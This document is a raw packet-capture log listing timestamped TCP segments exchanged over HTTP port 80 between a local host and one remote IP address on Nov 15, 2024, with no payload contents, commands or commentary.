Nov 15, 2024 09:10:05.437328100 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.437474966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437552929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437563896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437604904 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.437607050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437666893 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.437679052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437690020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437733889 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.452729940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.452745914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.452764034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.452775955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.452789068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.452801943 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.452821970 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.452876091 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.452904940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.452918053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453003883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453015089 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453016043 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453027964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453059912 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453291893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453335047 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453344107 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453356028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453444958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453458071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453464031 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453522921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453663111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453722954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453735113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453772068 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453813076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453825951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453839064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453876019 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453932047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453943014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.453954935 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.453995943 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.476521015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.476533890 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.476545095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.476584911 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.476598978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.476613998 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.476663113 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.518718004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.518731117 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.518978119 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.522826910 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.522900105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.522911072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.522922039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.522962093 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.523025990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.523035049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.523041964 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.523078918 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.523093939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.523138046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.523190022 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.560637951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560652018 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560709000 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.560769081 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560781002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560795069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560827017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560872078 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.560872078 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.560910940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560954094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560966015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.560998917 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.561084986 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.561122894 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.561141014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.561152935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.561188936 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.575968027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576014042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576035023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576050997 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576107025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576107025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576148987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576184034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576195955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576227903 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576319933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576339006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576359987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576405048 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576405048 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576445103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576467991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576550961 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576586962 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576653957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576663971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576699972 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576716900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576728106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576757908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576932907 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576941967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.576978922 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.576991081 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577039003 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.577070951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577083111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577094078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577121973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577127934 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.577178001 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.577375889 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577402115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577418089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577444077 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.577485085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577516079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.577598095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.599760056 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.599771976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.599828959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.599888086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.599888086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.599888086 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.599901915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.599950075 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.599951982 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.644870043 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.646193027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.646218061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.646229029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.646306992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.646307945 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.646320105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.646332979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.646367073 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.646430969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.683900118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.683916092 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.683927059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.683978081 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.684020042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684032917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684045076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684088945 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.684088945 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.684094906 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684165955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684178114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684204102 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.684313059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684324026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684369087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.684381962 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.684422970 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.684422970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699364901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699426889 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699440002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699449062 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.699450016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699486017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699491978 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.699500084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699553967 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.699584007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699624062 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.699639082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699652910 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699677944 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699697971 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.699857950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699908018 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699918985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.699930906 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.699971914 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.699989080 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700001001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700052977 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.700229883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700278997 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700289965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700331926 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.700383902 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700396061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700407982 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700431108 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.700454950 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.700675011 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700728893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700740099 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700767994 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.700826883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700838089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700849056 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.700897932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.700897932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.723169088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723180056 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723222971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723232031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723246098 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.723279953 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.723400116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723412037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723422050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723457098 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.723525047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723535061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723612070 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.723637104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723654032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.723681927 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.769701004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.769723892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.769737005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.769809961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.769824028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.769843102 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.769886017 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.769939899 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.807351112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807377100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807389021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807400942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807456970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807470083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807506084 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.807506084 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.807539940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807571888 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807610035 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.807631969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807729959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807749987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807770967 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.807805061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807816029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.807849884 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.822871923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.822922945 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.822927952 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.822936058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.822998047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823009014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823020935 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823023081 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823048115 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823132992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823146105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823220015 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823368073 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823414087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823426008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823424101 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823460102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823502064 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823616028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823662996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823676109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823714972 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823714972 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823750973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823764086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.823832035 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.823961973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824011087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824043036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824117899 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.824140072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824151993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824165106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824209929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.824209929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.824296951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824309111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824320078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824331999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.824369907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.824369907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.824414968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846641064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846679926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846689939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846739054 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.846752882 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.846760035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846771002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846832991 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.846849918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846874952 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846921921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.846963882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.846976042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.847033024 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.847044945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.847060919 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.847098112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.893203974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.893223047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.893234015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.893313885 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.893322945 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.893342972 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.893352985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.893382072 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.893446922 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.930505037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930542946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930557013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930630922 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930649042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930661917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930668116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.930695057 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.930713892 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.930788994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930798054 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930896997 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.930911064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930919886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930962086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.930999041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.931016922 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.931021929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.931052923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.946177006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946211100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946221113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946247101 CET	49705	80	192.168.2.10	190.107.177.80
